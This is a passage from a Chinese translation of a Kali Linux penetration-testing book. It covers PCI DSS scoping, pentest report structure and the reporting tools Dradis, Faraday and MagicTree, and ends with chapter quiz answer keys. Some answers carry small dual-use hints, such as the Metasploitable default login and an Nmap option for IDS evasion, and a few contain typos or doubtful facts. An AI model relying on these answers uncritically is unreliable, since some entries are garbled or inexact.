在本章中,我们介绍了支付卡行业数据安全标准PCI DSS)及其对必须符合 PCI DSS 的组织的目标和要求。我们还了解了根据每年处理的支付卡交易量所需的不同合规级别。我们还了解了分割的重要性及其对 PCI DSS 评估的影响,然后详细了解了范围界定过程。

在本章的最后,我们了解到只有合格和有经验的专业人员才能被授权进行 PCI DSS 自我评估,还要雇佣 PCI DSS ASV 来执行年度外部 PCI DSS 评估。最后,我们回顾了本书中之前章节中使用的各种工具,这些工具可以用于执行评估。

在下一章中,我们将介绍创建报告并帮助我们整合渗透测试各个方面的工具。

问题

  1. 哪些公司制定了 PCI DSS 标准?

  2. PCI DSS 的当前版本是什么?

  3. PCI DSS 中有多少个目标和要求?

  4. 哪些要求涉及内部和外部 PCI DSS 评估?

  5. ASV 可以进行哪种类型的评估?

  6. ASV 必须多久进行一次外部评估?

  7. 分割的目的是什么?

  8. 在提到评估的范围方面时,结构化测试过程指的是什么?

  9. 专业的渗透测试人员应具备哪些资格?

  10. 哪些漏洞评估工具可用于执行 PCI DSS 自我评估?

进一步阅读

关于 PCI DSS、评估和与此相关的一般知识,还有更多内容可以了解,请访问以下链接。

第十四章:渗透测试报告工具

评估跟踪和文档是专业渗透测试的关键方面。应记录测试工具的每个输入和输出,以确保在需要时可以以准确和一致的方式再现发现。请记住,渗透测试过程的一部分包括向客户呈现发现结果。这些客户很可能希望减轻漏洞,然后尝试模仿您的步骤,以确保他们的减轻措施有效。根据范围的不同,您可能需要执行额外的测试,以验证客户所做的任何改进实际上是否消除了您发现的漏洞。准确记录您的步骤将有助于确保在后续过程中进行完全相同的测试。

适当的测试文档提供了执行操作的记录,因此允许您在客户在约定的测试时间窗口内遇到非测试相关事件时追踪您的步骤。详细记录您的操作可能非常繁琐,但作为专业的渗透测试人员,您不应忽视这一步骤。

文档编制、报告准备和演示是必须以系统化、结构化和一致的方式处理的核心领域。本章提供了详细的说明,将帮助您调整文档编制和报告策略。本章将涵盖以下主题:

  • 结果验证,确保只报告经过验证的发现。

  • 将从执行、管理和技术角度讨论报告类型及其报告结构,以最好地反映参与渗透测试项目的相关当局的利益。

  • 演示部分提供了一般提示和指南,有助于了解您的观众及其对所提供信息的接受程度。

  • 测试后程序;即作为报告的一部分应包括的纠正措施和建议,以及在相关组织中为建议团队提供支持的使用。这种练习非常具有挑战性,需要对安全考虑下的目标基础设施有深入的了解。

以下各节将为准备文档、报告和演示提供坚实的基础,特别是突出它们的作用。即使是一个小错误也可能导致法律问题。您创建的报告必须与您的发现保持一致,并且不仅仅指出目标环境中发现的潜在弱点。例如,它应该准备充分,并展示对客户可能要求的已知合规要求的支持证据。此外,它应清楚地说明攻击者的作案手法、应用工具和技术,并列出发现的漏洞和经过验证的利用方法。主要是关注弱点,而不是解释用于发现它们的事实或程序。

技术要求

需要一台至少配备 6GB RAM、四核 CPU 和 500GB 硬盘空间的笔记本电脑或台式机。对于操作系统,我们使用 Kali Linux 2018.2 或 2018.3 作为虚拟机,或安装在硬盘、SD 卡或 USB 闪存驱动器上。

文档和结果验证

在大多数情况下,需要进行大量的漏洞验证,以确保您的发现实际上是可以利用的。缓解工作可能会很昂贵,因此漏洞验证对于您的声誉和诚信而言是一项关键任务。根据我们的经验,我们注意到有几种情况,人们只是运行一个工具,获取结果,然后直接呈现给他们的客户。这种不负责任和对评估的控制不足可能会导致严重后果,并导致您的职业生涯的垮台。在存在错误的情况下,甚至可能通过出售虚假的安全感来使客户处于风险之中。因此,测试数据的完整性不应受到错误和不一致性的影响。

以下是一些可能在将测试结果记录和验证成最终报告之前帮助您的程序:

  • 详细记录:在信息收集、发现、枚举、漏洞映射、社会工程、利用、权限提升和持久访问渗透测试过程的每个步骤中都要做详细记录。

  • 记录模板:为您从 Kali 对目标执行的每个工具制作一个记录模板。模板应清楚地说明其目的、执行选项和为目标评估对齐的配置文件,并提供空间记录相应的测试结果。在从特定工具得出最终结论之前,重复练习至少两次是至关重要的。这样,您可以对任何意外情况对结果进行认证和测试。例如,当使用 Nmap 进行端口扫描时,我们应该制定我们的模板,包括任何必要的部分,如使用目的、目标主机、执行选项和配置文件(服务检测、操作系统类型、MAC 地址、开放端口、设备类型等),并相应地记录输出结果。

  • 可靠性:不要依赖单一工具。依赖单一工具(例如,用于信息收集)是绝对不切实际的,可能会给您的渗透测试带来不一致性。因此,我们强烈建议您使用专为类似目的而制作的不同工具进行相同的练习。这将确保验证过程的透明度,提高生产力,并减少错误的阳性和阴性。换句话说,每个工具都有其处理特定情况的专长。在适用的情况下,手动测试某些条件也是值得的,并利用您的知识和经验来验证所有报告的发现。

报告类型

在收集到您验证的每个测试结果后,您必须将它们合并成一个系统化和结构化的报告,然后再提交给目标利益相关者。有三种不同类型的报告;每种都有其自己的模式和布局,与参与渗透测试项目的商业实体的利益相关。报告类型如下:

  • 执行报告

  • 管理报告

  • 技术报告

这些报告是根据接收者理解和理解渗透测试人员传达的信息的能力水平而准备的。在接下来的部分中,我们将检查每种报告类型及其报告结构,以及可能需要完成您的目标的基本元素。

重要的是要注意,所有这些报告在交给利益相关者之前都应遵守保密政策、法律通知和渗透测试协议。

执行报告

执行报告,一种评估报告,更短,更简洁,从业务战略的角度指出了渗透测试输出的高层视图。该报告是为目标组织的 C 级高管(CEO、CTO、CIO 等)准备的。它必须包含一些基本元素,如下所示:

  • 项目目标:本部分定义了您与客户之间渗透测试项目的相互同意的标准。

  • 漏洞风险分类:本部分解释了报告中使用的风险级别(关键、高、中、低和信息性)。这些级别应该清晰区分,并应强调严重程度方面的技术安全风险。

  • 执行摘要:本部分简要描述了在定义的方法论下渗透测试任务的目的和目标。它还强调了发现和成功利用的漏洞数量。

  • 统计数据:本部分详细介绍了在目标网络基础设施中发现的漏洞。这些也可以以饼状图或其他直观的形式呈现。

  • 风险矩阵:本部分量化和分类了所有已确定的漏洞,确定了潜在受影响的资源,并以简略格式列出了发现、参考和建议。

在准备执行报告时,始终是一种理想的方法是创造性和表达性,并牢记您不需要反映评估结果的技术基础,而是提供从这些结果中加工出的事实信息。报告的总体大小应为两到四页。请参考本章末尾的进一步阅读部分,了解示例报告。

管理报告

管理报告通常旨在涵盖问题,包括目标安全姿态的监管和合规性测量。实际上,它应该通过一些可能对人力资源HR)和其他管理人员感兴趣的部分,以及协助他们的法律程序来扩展执行报告。以下是可能为您提供有价值的基础,用于创建这样一个报告的关键部分:

  • 合规性达成:这包含已知标准的列表,并将其各个部分或子部分与当前的安全状况进行映射。它应该突出显示发生的任何监管违规行为,并可能无意中暴露目标基础设施并构成严重威胁。

  • 测试方法:这应该简要描述,并包含足够的细节,以帮助管理人员了解渗透测试生命周期。

  • 假设和限制:这突出了可能阻止渗透测试人员达到特定目标的已知因素。

  • 变更管理:这有时被视为纠正过程的一部分;然而,它主要针对处理受控 IT 环境中的所有变化的战略方法和程序。从安全评估中产生的建议和推荐应该与程序中的任何变化保持一致,以最小化对服务的意外事件的影响。

  • 配置管理:这关注系统的功能操作和性能的一致性。在系统安全的背景下,它遵循可能已经引入到目标环境中的任何变化(硬件、软件、物理属性等)。这些配置变化应该受到监控和控制,以维持系统配置状态。

作为一名负责任和知识渊博的渗透测试人员,您有责任在进行渗透测试生命周期之前澄清任何管理术语。这项工作肯定涉及一对一的对话和就目标特定评估标准达成协议,比如必须评估何种合规性或标准框架,是否在遵循特定测试路径时有任何限制,建议的变更是否在目标环境中可持续,以及如果引入任何配置变更是否会影响当前系统状态。这些因素共同建立了目标环境中当前安全状态的管理视图,并根据技术安全评估提供建议和建议。

技术报告

技术评估报告在解决渗透测试过程中提出的安全问题方面起着非常重要的作用。这种报告通常是为想要了解目标系统处理的核心安全功能的技术人员而制定的。报告将详细说明任何漏洞,它们如何被利用,可能带来的业务影响,以及如何开发抵御任何已知威胁的抗性解决方案。它必须与全面的安全指南进行沟通,以保护网络基础设施。到目前为止,我们已经讨论了执行和管理报告的基本要素。在技术报告中,我们扩展了这些要素,并包括一些可能引起目标组织技术团队极大兴趣的特殊主题。有时,项目目标、漏洞风险分类、风险矩阵、统计数据、测试方法和假设和限制等部分也是技术报告的一部分。技术报告包括以下部分:

  • 安全问题:在渗透测试过程中提出的安全问题应该清楚地详细列出,对于每种应用的攻击方法,您必须提到受影响资源的列表、其影响、原始请求和响应数据、模拟攻击请求和响应数据,为修复团队提供外部来源的参考,并提供专业建议来修复目标 IT 环境中发现的漏洞。

  • 漏洞地图:提供了在目标基础设施中发现的漏洞列表,每个漏洞都应该很容易与资源标识符(例如 IP 地址和目标名称)匹配。

  • 利用地图:提供了成功检查和验证的针对目标的利用列表。还要提到利用是私有还是公开。详细说明利用代码的来源以及它已经可用多长时间可能是有益的。

  • 最佳实践:这强调了目标可能缺乏的任何更好的设计、实施和运行安全程序。例如,在大型企业环境中,部署边缘级安全可能有利于减少威胁数量,使其无法进入企业网络。这些解决方案非常方便,不需要与生产系统或传统代码进行技术交流。

一般来说,技术报告向相关组织成员提出了现实情况。这份报告在风险管理过程中起着重要作用,并可能被用来制定可行的修复任务。

网络渗透测试报告

正如有不同类型的渗透测试一样,报告结构也有不同类型。我们提供了一个基于网络的渗透测试报告的通用版本,几乎可以扩展到几乎任何其他类型的渗透测试(例如,Web 应用程序、防火墙、无线和网络)。除了以下目录外,您还需要一个封面页面,上面列出了测试公司的名称、报告类型、扫描日期、作者姓名、文档修订号以及简短的版权和保密声明。

以下是基于网络的渗透测试报告的目录:

  • 法律声明

  • 渗透测试协议

  • 介绍

  • 项目目标

  • 假设和限制

  • 漏洞风险等级

  • 执行摘要

  • 风险矩阵

  • 测试方法

  • 安全威胁

  • 建议

  • 漏洞图

  • 利用图

  • 合规评估

  • 变更管理

  • 最佳实践

  • 附件

正如您所看到的,我们已将所有类型的报告合并为一个具有明确定义结构的完整报告。每个部分都可以有自己相关的子部分,可以更好地对测试结果进行分类,更详细地进行分析。例如,附件部分可以用于列出测试过程的技术细节和分析、活动日志、来自各种安全工具的原始数据、研究细节、对任何互联网来源的引用以及术语表。根据客户要求的报告类型,您有责任在开始渗透测试之前了解您的职位的重要性和价值。

准备您的演示

为了成功进行演示,了解您的受众的技术能力和目标是有帮助的。您需要根据受众调整材料;否则,您将面临负面反应。您的主要任务是让客户了解您测试过的领域周围的潜在风险因素。例如,高管级别的经理可能没有时间担心社会工程攻击向量的细节,但他们会对当前的安全状态以及应采取哪些整改措施来改善他们的安全状况感兴趣。

虽然没有正式的程序来创建和呈现您的发现,但您应该保持专业的态度,以使您的技术和非技术受众受益。了解目标环境及其技术人员的技能水平,并帮助他们了解您以及对组织的任何关键资产,也是您的职责的一部分。

指出当前安全状况的不足之处,并在没有情感附着的情况下暴露弱点,可以导致成功和专业的展示。记住,您在那里是为了坚持事实和发现,从技术上证明它们,并相应地向整改团队提供建议。由于这是一种面对面的练习,强烈建议您提前准备好以支持事实和数据回答任何问题。

测试后程序

整改措施、纠正步骤和建议都是指测试后程序。在这些程序中,您将充当目标组织的整改团队的顾问。在这个角色中,您可能需要与不同背景的技术人员互动,因此请记住,您的社交形象和人际关系技能在这里可能非常有价值。

此外,除非您接受过培训,否则不可能拥有目标 IT 环境所需的所有知识。在这种情况下,处理和纠正每个脆弱资源的每个实例而不得到专家网络的支持是非常具有挑战性的。我们制定了几条通用指南,可以帮助您向客户推送关键建议:

  • 重新审视网络设计,并检查报告中指出的脆弱资源的可利用条件。

  • 集中精力在边缘级或数据中心保护方案上,以减少在后端服务器和工作站同时受到攻击之前发生的安全威胁的数量。

  • 客户端或社会工程攻击几乎是不可能抵抗的,但可以通过培训员工使用最新的对策和意识来减少。

  • 根据渗透测试人员提供的建议,减轻系统安全问题可能需要进行额外的调查,以确保对系统的任何更改不会影响其功能特性。

  • 在必要时部署经过验证和可信赖的第三方解决方案(IDS/IPS、防火墙、内容保护系统、防病毒软件、IAM 技术等),并调整引擎以安全高效地工作。

  • 使用分而治之的方法,将安全网络区域与目标基础设施上的不安全或面向公众的实体分开。

  • 加强开发人员编写目标 IT 环境中安全应用程序的技能。评估应用程序安全性并执行代码审计可以为组织带来有价值的回报。

  • 采用物理安全对策。采用多层入口策略,包括安全的环境设计、机械和电子门禁、入侵警报、闭路电视监控和人员识别。

  • 定期更新所有必要的安全系统,以确保其保密性、完整性和可用性。

  • 检查和验证所有记录的解决方案,作为建议提供,以消除入侵或利用的可能性。

使用 Dradis 框架进行渗透测试报告

Dradis 框架是一个用户友好的报告框架,也支持协作。使用多种工具进行测试和评估可能非常令人兴奋;然而,当涉及组织文档时,这可能会变得有点令人不知所措,考虑到报告中需要包含输出文件以及输出文件的屏幕截图,以及评估期间使用的命令,这些也必须记录。 Dradis 框架通过提供易于使用的界面来协助这一领域,支持许多工具的插件,额外的合规性指南,并且可以轻松定制检查表。

可以通过单击应用程序,然后单击 12-Reporting Tools,然后单击 Dradis 框架,在 Kali 菜单中找到 Dradis 框架。

Dradis 也可以通过在终端中键入dradis来直接启动:

前面两种方法都会在浏览器中打开 Dradis Web 界面,URL 为127.0.0.1:3000/setup。输入将由所有访问服务器的人使用的密码,然后单击创建共享密码并继续。

接下来,输入用户名和密码,然后点击让我进来!这将带我们到 Dradis CE(社区版)仪表板。 Dradis CE 允许用户创建作为方法论的检查表。您可以通过单击 Methodologies(在左窗格上),或者在主窗口的 Methodology progress 部分下单击+Add a testing methodology 来执行此操作:

Dradis 给用户提供了两种选择,要么创建一个新的方法论,要么在其他合规包之间进行选择(必须下载)。如果您希望为您的方法论使用特定模板,而不是创建一个新的模板,可以选择“下载更多”选项,该选项将引导用户转到合规包页面(dradisframework.com/academy/industry/compliance/),其中包括以下内容:

  • HIPAA 合规审计工具

  • Offensive Security Certified Professional (OSCP) 报告

  • OWASP 测试指南 v4

  • PTES 技术指南

要为您的方法论创建一个检查表,请选择“新检查表”选项:

给新的检查表命名,然后单击“添加到项目”。这将创建一个未填充的检查表,其中包含两个部分标题,以便我们开始:

要编辑部分和任务,请单击“编辑”按钮并编辑 XML 内容。例如,我在第 1 部分区域中添加了“扫描”。编辑完成后,滚动到 XML 文件底部,然后单击“更新方法论”:

在左窗格中,单击“节点”以添加 Dradis CE 将创建报告的设备。如果使用多个节点,请输入节点的 IP(每行一个),然后单击“完成”:

在左窗格的“注释”部分下单击各个 IP 后,将打开节点摘要仪表板。在这里,您可以添加证据、注释,甚至根据需要添加子节点,如下面的屏幕截图所示:

Dradis 还通过插件能够处理来自各种工具的输出,包括 Acunetix、Burp、Metasploit、Nessus、Nikto、OpenVas 等,用于报告。单击仪表板顶部的“从工具上传输出”。选择一个工具,然后选择要上传到 Dradis 的文件,如下所示:

要完成报告,请单击仪表板顶部的“导出结果”。报告可以生成为 CSV 和 HTML 格式,以及自定义的 Word 和 Excel 报告。选择一个模板,然后单击“导出”以生成您的文件,如下所示:

渗透测试报告工具

Dradis 并不是 Kali Linux 2018 中唯一可用的工具。单击“应用程序”,然后单击“报告工具”,我们可以看到其他可用的工具,例如 Faraday IDE,MagicTree 和 pipal:

Faraday IDE

Faraday IDE 是另一个旨在支持协作的工具,其中包含大约 40 个内置工具用于生成报告。支持的插件包括 Metasploit、Nmap 和 Nessus。Faraday IDE 提出了多用户渗透测试的概念,在这种环境中,它的功能与在终端中单独运行工具完全相同。

要启动 Faraday IDE,请单击“应用程序”,然后单击“Faraday”。加载界面后,为您的工作区命名以开始使用该应用程序,如下所示:

有关安装和使用 Faraday IDE 的更多信息,请访问github.com/infobyte/faraday/wiki

MagicTree

MagicTree 是 Kali Linux 中的另一个工具,用于生成和管理报告。Nmap 用户可能会发现这个工具特别有趣,因为它允许用户直接从应用程序中运行 Nmap 扫描。可以通过单击“应用程序”,然后单击“报告工具”来启动 MagicTree。该工具应该看起来像下面的屏幕截图:

有关使用 MagicTree 的更多信息,请访问www.gremwell.com/using_magictree_quick_intro

总结

在本章中,我们探讨了创建渗透测试报告所需的一些基本步骤,并讨论了在客户面前进行演示的核心方面。起初,我们充分解释了如何记录来自各个工具的结果的方法,并建议您不要仅依赖单个工具来获得最终结果。因此,在记录结果之前,您的经验和知识在验证测试结果时至关重要。确保保持您的技能更新并足以在需要时手动验证发现。

然后,我们研究了报告工具,主要关注了 Dradis Framework,同时涉及了 Faraday IDE 和 MagicTree。我们鼓励您尝试它们,因为您可能希望将这些工具结合起来进行各种目的和合作。

最后,我们希望您喜欢这本书,并祝愿您在网络安全和渗透测试的冒险中一切顺利。

问题

  1. 向客户呈现的渗透测试报告有哪三种主要类型?

  2. 在执行报告中,风险矩阵量化了什么?

  3. 漏洞地图的目的是什么?

  4. 利用地图的目的是什么?

  5. 测试方法论应包含什么?

  6. 如何减少客户端或社会工程攻击?

进一步阅读

第十五章:评估

第一章:- 评估答案

  1. NetHunter

  2. MD5 和 SHA 校验和实用程序

  3. sha265sum

  4. Rufus

  5. 实时(amd64),实时(取证模式),实时 USB

  6. apt-get update

  7. T2 微型

第二章:- 评估答案

  1. VMware 和 VirtualBox

  2. 虚拟机磁盘

  3. 用户名和密码都是msfadmin

  4. Packer 和 Vagrant

  5. apt-get install(package_name)

  6. service mysql start

  7. service ssh start

第四章:- 评估答案

  1. 开源情报

  2. whois

  3. IPv4 地址

  4. Metagoofil

  5. Devlpoit 和 RedHawk

  6. Shodan

第五章:- 评估答案

  1. Nmap 7.7 中有 588 个脚本可用

  2. FIN 标志表示没有更多数据要发送,并且连接应该被终止

  3. 过滤端口表示数据包阻止设备正在阻止探测到达目标

  4. -f Nmap 选项可用于在规避防火墙和 IDS 时使数据包更难被检测到

  5. Netdiscover -r

  6. -p 选项可以在 Netdiscover 中用于运行被动扫描

  7. www.dnsleak.com

第六章:- 评估答案

  1. 漏洞是系统中发现的安全漏洞,攻击者可以利用该漏洞执行未经授权的操作,而利用则利用该漏洞或错误。

  2. 设计漏洞使开发人员根据安全要求推导出规范,并安全地解决其实施。因此,与其他类别的漏洞相比,解决这个问题需要更多的时间和精力。

  3. 远程漏洞是指攻击者没有先前访问权限,但漏洞仍然可以通过在网络上触发恶意代码来利用。

  4. Nessus。

  5. Lynis。

  6. Nikto。

第十二章:- 评估答案

  1. Nexus 4,Nexus 5 和 OnePlus One

  2. 是的,NetHunter 需要移动设备上的 root 访问权限

  3. cSploit,Drive Droid,Router Keygen,Shodan

  4. WPA,WPA2

  5. 会话劫持者,终止连接,重定向,脚本注入

  6. 邪恶孪生

  7. DuckHunter HID 攻击将 USB Rubber Ducky 脚本转换为 NetHunter HID 攻击

第十三章:- 评估答案

  1. 万事达卡,VISA,美国运通和 JCB 国际

  2. PCI DSS 版本 3

  3. 6 个目标,12 个要求

  4. 要求 11.3

  5. 季度网络评估

  6. 每年

  7. 分段的目的是将持卡人数据环境(CDE)与其余环境隔离开来

  8. 结构化测试过程是指根据客户端更改重构测试方法论

  9. CEH,OSCP,CREST,GIAC

  10. Nessus,Lynis

第十四章:- 评估答案

  1. 三种类型的报告:
  • 执行报告

  • 管理报告

  • 技术报告

  1. 风险矩阵对所有发现的漏洞进行量化和分类,确定潜在受影响的资源,并以简略格式列出发现、参考和建议。

  2. 漏洞地图提供了在目标基础设施中发现的漏洞列表,每个漏洞应该很容易与资源标识符(例如 IP 地址和目标名称)匹配。

  3. Exploits 地图提供了成功检查和验证的漏洞利用列表,这些漏洞利用针对目标起作用。

  4. 测试方法应包含足够的细节,以帮助管理了解渗透测试生命周期。

  5. 通过培训员工最新的对策,可以减少客户端或社会工程攻击。

posted @ 2024-05-03 21:40  绝不原创的飞龙  阅读(25)  评论(0编辑  收藏  举报